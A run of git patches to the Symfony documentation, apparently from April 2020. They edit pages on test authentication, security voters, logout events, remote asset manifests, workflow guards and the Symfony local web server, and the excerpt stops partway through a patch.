+    Starting from Symfony 5.1, a ``loginUser()`` method was introduced to
+    ease testing secured applications. See :ref:`testing_logging_in_users`
+    for more information about this.
 
-Authenticating requests in functional tests can slow down the entire test suite.
-This could become an issue especially when the tests reproduce the same steps
-that users follow to authenticate, such as submitting a login form or using
-OAuth authentication services.
+    If you are still using an older version of Symfony, view
+    `previous versions of this article`_ for information on how to simulate
+    HTTP authentication.
 
-This article explains the two most popular techniques to avoid these issues and
-create fast tests when using authentication.
-
-Using a Faster Authentication Mechanism Only for Tests
-------------------------------------------------------
-
-When your application is using a ``form_login`` authentication, you can make
-your tests faster by allowing them to use HTTP authentication. This way your
-tests authenticate with the simple and fast HTTP Basic method whilst your real
-users still log in via the normal login form.
-
-The trick is to use the ``http_basic`` authentication in your application
-firewall, but only in the configuration file used by tests:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/security.yaml
-        security:
-            firewalls:
-                # replace 'main' by the name of your own firewall
-                main:
-                    http_basic: ~
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:security="http://symfony.com/schema/dic/security"
-            xsi:schemaLocation="http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-        <security:config>
-            <!-- replace 'main' by the name of your own firewall -->
-            <security:firewall name="main">
-                <security:http-basic/>
-            </security:firewall>
-        </security:config>
-
-    .. code-block:: php
-
-        // config/packages/test/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                // replace 'main' by the name of your own firewall
-                'main' => [
-                    'http_basic' => [],
-                ],
-            ],
-        ]);
-
-Tests can now authenticate via HTTP passing the username and password as server
-variables using the second argument of ``createClient()``::
-
-    $client = static::createClient([], [
-        'PHP_AUTH_USER' => 'username',
-        'PHP_AUTH_PW'   => 'pa$$word',
-    ]);
-
-The username and password can also be passed on a per request basis::
-
-    $client->request('DELETE', '/post/12', [], [], [
-        'PHP_AUTH_USER' => 'username',
-        'PHP_AUTH_PW'   => 'pa$$word',
-    ]);
-
-Creating the Authentication Token
----------------------------------
-
-If your application uses a more advanced authentication mechanism, you can't
-use the previous trick, but it's still possible to make tests faster. The trick
-now is to bypass the authentication process, create the *authentication token*
-yourself and store it in the session.
-
-This technique requires some knowledge of the Security component internals,
-but the following example shows a complete example that you can adapt to your
-needs::
-
-    // tests/Controller/DefaultControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-    use Symfony\Component\BrowserKit\Cookie;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
-
-    class DefaultControllerTest extends WebTestCase
-    {
-        private $client = null;
-
-        public function setUp()
-        {
-            $this->client = static::createClient();
-        }
-
-        public function testSecuredHello()
-        {
-            $this->logIn();
-            $crawler = $this->client->request('GET', '/admin');
-
-            $this->assertSame(Response::HTTP_OK, $this->client->getResponse()->getStatusCode());
-            $this->assertSame('Admin Dashboard', $crawler->filter('h1')->text());
-        }
-
-        private function logIn()
-        {
-            $session = self::$container->get('session');
-
-            // somehow fetch the user (e.g. using the user repository)
-            $user = ...;
-
-            $firewallName = 'secure_area';
-            // if you don't define multiple connected firewalls, the context defaults to the firewall name
-            // See https://symfony.com/doc/current/reference/configuration/security.html#firewall-context
-            $firewallContext = 'secured_area';
-
-            // you may need to use a different token class depending on your application.
-            // for example, when using Guard authentication you must instantiate PostAuthenticationGuardToken
-            $token = new UsernamePasswordToken($user, null, $firewallName, $user->getRoles());
-            $session->set('_security_'.$firewallContext, serialize($token));
-            $session->save();
-
-            $cookie = new Cookie($session->getName(), $session->getId());
-            $this->client->getCookieJar()->set($cookie);
-        }
-    }
+.. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html

From 221bbb159ec8d8b07edce001ab8657166988de0e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 16 Apr 2020 19:05:12 +0200
Subject: [PATCH 0656/7107] Update voters.rst

---
 security/voters.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index a07a906d78c..0f2b8f05bc6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -33,9 +33,10 @@ For more information take a look at
 
 .. tip::
 
-    The advantage of voters is that you can reuse them in *many* places and centralize
-    all permission logic. If you don't reuse permissions and the permissions are simple,
-    you might want to do the check in the controller directly and throw an ``AccessDeniedException``
+    The example used throughout this page features just two routes (``post_show`` and ``post_edit``).
+    However, the advantage of voters is that you can reuse them in *many* places and centralize
+    all permission logic. If you don't reuse permissions and the rules are simple, you instead
+    might want to do the check in the controller directly and throw an ``AccessDeniedException``
     to create the correct response::
 
         // src/AppBundle/Controller/PostController.php

From be4760c72c591fa698218f8c85bb4c61e570819b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20TAMARELLE?= <jerome@tamarelle.net>
Date: Wed, 26 Feb 2020 15:46:59 +0100
Subject: [PATCH 0657/7107] =?UTF-8?q?[Asset]=C2=A0Document=20remote=20JSON?=
 =?UTF-8?q?=20manifest?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 components/asset.rst                  | 14 ++++++++++++++
 reference/configuration/framework.rst |  4 ++++
 2 files changed, 18 insertions(+)

diff --git a/components/asset.rst b/components/asset.rst
index a01a0d3a440..730e0557f5d 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -165,6 +165,20 @@ In those cases, use the
     echo $package->getUrl('css/app.css');
     // result: build/css/app.b916426ea1d10021f3f17ce8031f93c2.css
 
+If your JSON file is not on your local filesystem but is accessible over HTTP,
+you can use the ...
+:class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
+with the :doc:`HttpClient component </components/http_client>`::
+
+    use Symfony\Component\Asset\Package;
+    use Symfony\Component\Asset\VersionStrategy\RemoteJsonManifestVersionStrategy;
+    use Symfony\Component\HttpClient\HttpClient;
+
+    $httpClient = HttpClient::create();
+    $manifestUrl = 'https://cdn.example.com/rev-manifest.json';
+    $package = new Package(new RemoteJsonManifestVersionStrategy($manifestUrl, $httpClient));
+
+
 Custom Version Strategies
 .........................
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cdef342a55a..26d5ec73f27 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1970,6 +1970,10 @@ package:
     If you request an asset that is *not found* in the ``manifest.json`` file, the original -
     *unmodified* - asset path will be returned.
 
+.. note::
+
+    If an URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
+
 translator
 ~~~~~~~~~~
 

From 357fcff469958ef0f0894d576ac16d23643d0864 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 17 Apr 2020 11:39:47 +0200
Subject: [PATCH 0658/7107] fix a typo

---
 reference/forms/types/options/choice_filter.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index 1f320bf1a69..d7563dc8a1c 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -9,7 +9,7 @@
 
 When using predefined choice types from Symfony core or vendor libraries (i.e.
 :doc:`CountryType </reference/forms/types/country>`) this option lets you
-define a callable that take each choice as only argument and must return
+define a callable that takes each choice as the only argument and must return
 ``true`` to keep it or ``false`` to discard it::
 
     // src/Form/Type/AddressType.php

From 61906bec65f359eb33fe14ff0ca54680db2e4895 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Apr 2020 11:40:05 +0200
Subject: [PATCH 0659/7107] Tweaks

---
 components/asset.rst                  |  6 ++++--
 reference/configuration/framework.rst | 20 ++++++++++++++++----
 2 files changed, 20 insertions(+), 6 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 730e0557f5d..5609203d27c 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -166,8 +166,7 @@ In those cases, use the
     // result: build/css/app.b916426ea1d10021f3f17ce8031f93c2.css
 
 If your JSON file is not on your local filesystem but is accessible over HTTP,
-you can use the ...
-:class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
+use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
 with the :doc:`HttpClient component </components/http_client>`::
 
     use Symfony\Component\Asset\Package;
@@ -178,6 +177,9 @@ with the :doc:`HttpClient component </components/http_client>`::
     $manifestUrl = 'https://cdn.example.com/rev-manifest.json';
     $package = new Package(new RemoteJsonManifestVersionStrategy($manifestUrl, $httpClient));
 
+.. versionadded:: 5.1
+
+    The ``RemoteJsonManifestVersionStrategy`` was introduced in Symfony 5.1.
 
 Custom Version Strategies
 .........................
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8f3b30308e9..bc572bbfd14 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1927,10 +1927,11 @@ json_manifest_path
 
 **type**: ``string`` **default**: ``null``
 
-The file path to a ``manifest.json`` file containing an associative array of asset
-names and their respective compiled names. A common cache-busting technique using
-a "manifest" file works by writing out assets with a "hash" appended to their
-file names (e.g. ``main.ae433f1cb.css``) during a front-end compilation routine.
+The file path or absolute URL to a ``manifest.json`` file containing an
+associative array of asset names and their respective compiled names. A common
+cache-busting technique using a "manifest" file works by writing out assets with
+a "hash" appended to their file names (e.g. ``main.ae433f1cb.css``) during a
+front-end compilation routine.
 
 .. tip::
 
@@ -1951,6 +1952,8 @@ package:
             assets:
                 # this manifest is applied to every asset (including packages)
                 json_manifest_path: "%kernel.project_dir%/public/build/manifest.json"
+                # you can use absolute URLs too and Symfony will download them automatically
+                # json_manifest_path: 'https://cdn.example.com/manifest.json'
                 packages:
                     foo_package:
                         # this package uses its own manifest (the default file is ignored)
@@ -1972,6 +1975,8 @@ package:
             <framework:config>
                 <!-- this manifest is applied to every asset (including packages) -->
                 <framework:assets json-manifest-path="%kernel.project_dir%/public/build/manifest.json">
+                <!-- you can use absolute URLs too and Symfony will download them automatically -->
+                <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> -->
                     <!-- this package uses its own manifest (the default file is ignored) -->
                     <framework:package
                         name="foo_package"
@@ -1991,6 +1996,8 @@ package:
             'assets' => [
                 // this manifest is applied to every asset (including packages)
                 'json_manifest_path' => '%kernel.project_dir%/public/build/manifest.json',
+                // you can use absolute URLs too and Symfony will download them automatically
+                // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
                 'packages' => [
                     'foo_package' => [
                         // this package uses its own manifest (the default file is ignored)
@@ -2004,6 +2011,11 @@ package:
             ],
         ]);
 
+.. versionadded:: 5.1
+
+    The option to use an absolute URL in  ``json_manifest_path`` was introduced
+    in Symfony 5.1.
+
 .. note::
 
     This parameter cannot be set at the same time as ``version`` or ``version_strategy``.

From fdfd1adab43eead11822b7788d0ba869f427ad94 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 17 Apr 2020 12:25:40 +0200
Subject: [PATCH 0660/7107] Update security/voters.rst

Co-Authored-By: Antoine Makdessi <antoine.makdessi@agriconomie.com>
---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 0f2b8f05bc6..99c6eca2b48 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -35,7 +35,7 @@ For more information take a look at
 
     The example used throughout this page features just two routes (``post_show`` and ``post_edit``).
     However, the advantage of voters is that you can reuse them in *many* places and centralize
-    all permission logic. If you don't reuse permissions and the rules are simple, you instead
+    all permission logic. If you don't reuse permissions or the rules are basic, you instead
     might want to do the check in the controller directly and throw an ``AccessDeniedException``
     to create the correct response::
 

From 577dfa22ae5b85429430235fb91f9a4528d4489f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 17 Apr 2020 13:27:29 +0200
Subject: [PATCH 0661/7107] Update voters.rst

See https://github.com/symfony/symfony-docs/pull/13554#discussion_r410150210
---
 security/voters.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 99c6eca2b48..cfbe28d215c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -40,11 +40,10 @@ For more information take a look at
     to create the correct response::
 
         // src/AppBundle/Controller/PostController.php
-        use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-
         // ...
+
         if ($post->getOwner() !== $this->getUser()) {
-            throw new AccessDeniedException();
+            throw $this-> createAccessDeniedException();
         }
 
 The Voter Interface

From 1d77a45f48cb446189ac6d0b360583f40e7a85c7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 4 Apr 2020 20:46:56 +0200
Subject: [PATCH 0662/7107] Documented new logout event

---
 reference/configuration/security.rst |  9 +++
 security.rst                         | 88 +++++++++++++++++++++++++++-
 2 files changed, 94 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 902f60a921e..2392181cac5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -538,9 +538,18 @@ The ``invalidate_session`` option allows to redefine this behavior. Set this
 option to ``false`` in every firewall and the user will only be logged out from
 the current firewall and not the other ones.
 
+.. _reference-security-logout-success-handler:
+
 success_handler
 ~~~~~~~~~~~~~~~
 
+.. deprecated:: 5.1
+
+    This option is deprecated since Symfony 5.1. Register an
+    :doc:`event listener </event_dispatcher>` on the
+    :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+    instead.
+
 **type**: ``string`` **default**: ``'security.logout.success_handler'``
 
 The service ID used for handling a successful logout. The service must implement
diff --git a/security.rst b/security.rst
index 6eb068cb969..bd97b903c77 100644
--- a/security.rst
+++ b/security.rst
@@ -899,11 +899,93 @@ Next, you'll need to create a route for this URL (but not a controller):
 And that's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
 Symfony will un-authenticate the current user and redirect them.
 
+Customizing Logout
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``LogoutEvent`` was introduced in Symfony 5.1. Prior to this
+    version, you had to use a
+    :ref:`logout success handler <reference-security-logout-success-handler>`
+    to customize the logout.
+
+In some cases you need to execute extra logic upon logout (e.g. invalidate
+some tokens) or want to customize what happens after a logout. During
+logout, a :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+is dispatched. Register an :doc:`event listener or subscriber </event_dispatcher>`
+to execute custom logic. The following information is available in the
+event class:
+
+``getToken()``
+    Returns the security token of the session that is about to be logged
+    out.
+``getRequest()``
+    Returns the current request.
+``getResponse()``
+    Returns a response, if it is already set by a custom listener. Use
+    ``setResponse()`` to configure a custom logout response.
+
+
 .. tip::
 
-    Need more control of what happens after logout? Add a ``success_handler`` key
-    under ``logout`` and point it to a service id of a class that implements
-    :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
+    Every Security firewall has its own event dispatcher
+    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
+    dispatched on both the global and firewall dispatcher. You can register
+    on the firewall dispatcher if you want your listener to only be
+    executed for a specific firewall. For instance, if you have an ``api``
+    and ``main`` firewall, use this configuration to register only on the
+    logout event in the ``main`` firewall:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\EventListener\CustomLogoutSubscriber:
+                    tags:
+                        - name: kernel.event_subscriber
+                          dispacher: security.event_dispatcher.main
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <!-- ... -->
+
+                    <service id="App\EventListener\CustomLogoutSubscriber">
+                        <tag name="kernel.event_subscriber"
+                             dispacher="security.event_dispatcher.main"
+                         />
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use App\EventListener\CutomLogoutListener;
+            use App\EventListener\CutomLogoutSubscriber;
+            use Symfony\Component\Security\Http\Event\LogoutEvent;
+
+            return function(ContainerConfigurator $configurator) {
+                $services = $configurator->services();
+
+                $services->set(CustomLogoutSubscriber::class)
+                    ->tag('kernel.event_subscriber', [
+                        'dispatcher' => 'security.event_dispatcher.main',
+                    ]);
+            };
 
 .. _security-role-hierarchy:
 

From bb0872a149cf6d4545f17a49b96dcbd96449b6b5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 17 Apr 2020 14:26:02 +0200
Subject: [PATCH 0663/7107] Update voters.rst

Trying to merge the suggestions of 4 people ;-)

What's really odd is that on this dedicated voters page, the reader is referred to someplace else for more info on voters ;-)

> Take a look at the authorization article for an even deeper understanding on voters.

So in the long run, these two should be merged - or at least the voters part integrated into this page.
---
 security/voters.rst | 38 +++++++++++++++++---------------------
 1 file changed, 17 insertions(+), 21 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index cfbe28d215c..7934d594810 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -6,8 +6,22 @@
 How to Use Voters to Check User Permissions
 ===========================================
 
-Security voters are the most granular way of checking permissions (e.g. "can this
-specific user edit the given item?"). This article explains voters in detail.
+Voters are Symfony's most powerful way of managing permissions. They allow you
+to centralize all permission logic, then reuse them in many places.
+
+However, if you don't reuse permissions or your rules are basic, you can always
+put that logic directly into your controller instead. Here's an example how
+this could look like, if you want to make a route accessible to the "owner" only::
+
+    // src/AppBundle/Controller/PostController.php
+    // ...
+
+    if ($post->getOwner() !== $this->getUser()) {
+        throw $this->createAccessDeniedException();
+    }
+
+In that sense, the following example used throughout this page is more like a
+minimal example for voters, rather than a real-world use case.
 
 .. tip::
 
@@ -15,10 +29,7 @@ specific user edit the given item?"). This article explains voters in detail.
     :doc:`authorization </components/security/authorization>`
     article for an even deeper understanding on voters.
 
-How Symfony Uses Voters
------------------------
-
-In order to use voters, you have to understand how Symfony works with them.
+Here's how Symfony works with voters:
 All voters are called each time you use the ``isGranted()`` method on Symfony's
 authorization checker or call ``denyAccessUnlessGranted`` in a controller (which
 uses the authorization checker), or by
@@ -31,21 +42,6 @@ in the application, which can be: affirmative, consensus or unanimous.
 For more information take a look at
 :ref:`the section about access decision managers <components-security-access-decision-manager>`.
 
-.. tip::
-
-    The example used throughout this page features just two routes (``post_show`` and ``post_edit``).
-    However, the advantage of voters is that you can reuse them in *many* places and centralize
-    all permission logic. If you don't reuse permissions or the rules are basic, you instead
-    might want to do the check in the controller directly and throw an ``AccessDeniedException``
-    to create the correct response::
-
-        // src/AppBundle/Controller/PostController.php
-        // ...
-
-        if ($post->getOwner() !== $this->getUser()) {
-            throw $this-> createAccessDeniedException();
-        }
-
 The Voter Interface
 -------------------
 

From 859c6967f688c90f68075f659d91386f69176d9a Mon Sep 17 00:00:00 2001
From: SAMUEL NELA <hello@samnela.com>
Date: Fri, 17 Apr 2020 22:28:39 +0200
Subject: [PATCH 0664/7107] [Console] Return an integer with the exit status as
 the result

---
 components/console/helpers/questionhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 2869b82560b..de1aefd2cfa 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -40,7 +40,7 @@ the following to your command::
             $question = new ConfirmationQuestion('Continue with this action?', false);
 
             if (!$helper->ask($input, $output, $question)) {
-                return;
+                return 0;
             }
         }
     }

From ef275a3d40ffbba2c146678c47743d86cd199396 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jo=C3=A3o=20Paulo=20V=20Martins?= <joao.paulo@smartbox.com>
Date: Mon, 13 Apr 2020 14:55:40 +0100
Subject: [PATCH 0665/7107] Add details for pluralization on extra fields
 message

---
 reference/forms/types/options/extra_fields_message.rst.inc | 6 ++++++
 translation/message_format.rst                             | 3 +++
 2 files changed, 9 insertions(+)

diff --git a/reference/forms/types/options/extra_fields_message.rst.inc b/reference/forms/types/options/extra_fields_message.rst.inc
index ca54c91ec54..256d3189526 100644
--- a/reference/forms/types/options/extra_fields_message.rst.inc
+++ b/reference/forms/types/options/extra_fields_message.rst.inc
@@ -1,9 +1,15 @@
 ``extra_fields_message``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+The support for pluralization was introduced in Symfony 5.1.
+
 **type**: ``string`` **default**: ``This form should not contain extra fields.``
 
 This is the validation error message that's used if the submitted form data
 contains one or more fields that are not part of the form definition. The
 placeholder ``{{ extra_fields }}`` can be used to display a comma separated
 list of the submitted extra field names.
+
+This message can be pluralized, see :ref:`formatting pluralized messages <component-translation-pluralization>` for details.
diff --git a/translation/message_format.rst b/translation/message_format.rst
index d5d2dd62047..543bd1c87c7 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -168,6 +168,9 @@ you to use literal text in the select statements:
     readable for translators and, as you can see in the ``other`` case, other
     parts of the sentence might be influenced by the variables.
 
+
+.. _component-translation-pluralization:
+
 Pluralization
 -------------
 

From 4b4cb1c4e2acb72ecc2c845b4f3058301f479cef Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Sat, 18 Apr 2020 18:53:59 +0200
Subject: [PATCH 0666/7107] fix the versionadded directive markup

---
 reference/forms/types/options/extra_fields_message.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/extra_fields_message.rst.inc b/reference/forms/types/options/extra_fields_message.rst.inc
index 224527b8ec7..5c969f7afce 100644
--- a/reference/forms/types/options/extra_fields_message.rst.inc
+++ b/reference/forms/types/options/extra_fields_message.rst.inc
@@ -3,7 +3,7 @@
 
 .. versionadded:: 5.1
 
-The support for pluralization was introduced in Symfony 5.1.
+    Pluralization support was introduced in Symfony 5.1.
 
 **type**: ``string`` **default**: ``This form should not contain extra fields.``
 

From d42583de32284938ad5d3f90364c6b200ed33d3b Mon Sep 17 00:00:00 2001
From: "tien.xuan.vo" <tien.xuan.vo@gmail.com>
Date: Sun, 19 Apr 2020 13:52:25 +0700
Subject: [PATCH 0667/7107] [Workflow] Replace has_role by is_granted

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 601fbb3944b..5204aa405d1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -546,7 +546,7 @@ transition. The value of this option is any valid expression created with the
 
                     <framework:transition name="reject">
                         <!-- or any valid expression language with "subject" referring to the post -->
-                        <framework:guard>has_role("ROLE_ADMIN") and subject.isStatusReviewed()</framework:guard>
+                        <framework:guard>is_granted("ROLE_ADMIN") and subject.isStatusReviewed()</framework:guard>
                         <framework:from>reviewed</framework:from>
                         <framework:to>rejected</framework:to>
                     </framework:transition>
@@ -581,7 +581,7 @@ transition. The value of this option is any valid expression created with the
                         ],
                         'reject' => [
                             // or any valid expression language with "subject" referring to the post
-                            'guard' => 'has_role("ROLE_ADMIN") and subject.isStatusReviewed()',
+                            'guard' => 'is_granted("ROLE_ADMIN") and subject.isStatusReviewed()',
                             'from' => 'reviewed',
                             'to' => 'rejected',
                         ],

From c7c8b44a1a95602ba9ff576465a3e26dcdfc45cb Mon Sep 17 00:00:00 2001
From: seb-jean <sebastien.jean76@gmail.com>
Date: Sun, 19 Apr 2020 16:19:01 +0200
Subject: [PATCH 0668/7107] Update symfony_server.rst

Remove quotes else there is a message :
WARNING the current dir requires PHP "xxx" (.php-version from current dir: $PATH\.php-version), but this version is not available
---
 setup/symfony_server.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 923ac149fca..ad544aa0be8 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -110,10 +110,10 @@ root directory:
     $ cd my-project/
 
     # use a specific PHP version
-    $ echo "7.2" > .php-version
+    $ echo 7.2 > .php-version
 
     # use any PHP 7.x version available
-    $ echo "7" > .php-version
+    $ echo 7 > .php-version
 
 .. tip::
 

From 603b6b3500aaef71c021aab1247530a9828c1b16 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Tue, 21 Apr 2020 06:57:02 +0200
Subject: [PATCH 0669/7107] fix link to DBAL Connection class

---
 components/cache/adapters/pdo_doctrine_dbal_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index 20d9d5a836a..047b88a0e66 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -47,5 +47,5 @@ third, and forth parameters::
     calling its ``prune()`` method.
 
 .. _`PDO`: http://php.net/manual/en/class.pdo.php
-.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/lib/Doctrine/DBAL/Connection.php
+.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 15c4adc8e7f227ac9c694f2a9d0292259a638038 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 21 Apr 2020 13:43:38 +0200
Subject: [PATCH 0670/7107] Update voters.rst

See https://github.com/symfony/symfony-docs/pull/13554#discussion_r411850997
---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 7934d594810..2d8e1ea1467 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -20,8 +20,8 @@ this could look like, if you want to make a route accessible to the "owner" only
         throw $this->createAccessDeniedException();
     }
 
-In that sense, the following example used throughout this page is more like a
-minimal example for voters, rather than a real-world use case.
+In that sense, the following example used throughout this page is a minimal
+example for voters.
 
 .. tip::
 

From 981fdc643c5a336745e23f3c7396a10873106c82 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Wed, 22 Apr 2020 12:33:46 +0200
Subject: [PATCH 0671/7107] Use non-deprecated options key

---
 frontend/encore/babel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index a312fd60174..7f10688b150 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -25,10 +25,10 @@ Need to extend the Babel configuration further? The easiest way is via
         }, {
             // node_modules is not processed through Babel by default
             // but you can whitelist specific modules to process
-            include_node_modules: ['foundation-sites'],
+            includeNodeModules: ['foundation-sites'],
 
             // or completely control the exclude rule (note that you
-            // can't use both "include_node_modules" and "exclude" at
+            // can't use both "includeNodeModules" and "exclude" at
             // the same time)
             exclude: /bower_components/
         })

From bc849cadca5ebb3c4a1e0d6591efce4f3a9456c6 Mon Sep 17 00:00:00 2001
From: Damian Zabawa <damian.zabawa@gmail.com>
Date: Wed, 22 Apr 2020 12:53:05 +0200
Subject: [PATCH 0672/7107] Update symfony_server.rst - proxy env lowercase

---
 setup/symfony_server.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index ad544aa0be8..24b55fa0e3c 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -215,12 +215,12 @@ new custom domain.
     Browse the http://127.0.0.1:7080 URL to get the full list of local project
     directories, their custom domains, and port numbers.
 
-When running console commands, add the ``HTTPS_PROXY`` env var to make custom
+When running console commands, add the ``https_proxy`` env var to make custom
 domains work:
 
 .. code-block:: terminal
 
-    $ HTTPS_PROXY=http://127.0.0.1:7080 curl https://my-domain.wip
+    $ https_proxy=http://127.0.0.1:7080 curl https://my-domain.wip
 
 .. tip::
 

From 7f52bf8c45515671b777867d12b70c5dadcc5be3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Apr 2020 16:28:44 +0200
Subject: [PATCH 0673/7107] Explain why the env var is in lowercase

---
 setup/symfony_server.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 24b55fa0e3c..5a1df7f09e2 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -63,13 +63,13 @@ Enabling PHP-FPM
 When the server starts it will check for common patterns like ``web/app.php``,
 ``web/app_dev.php`` or ``public/index.php``. If a file like this is found the
 server will automatically start with PHP-FPM enabled. Otherwise the server will
-start without PHP-FPM and will show a ``Page not found`` page when trying to 
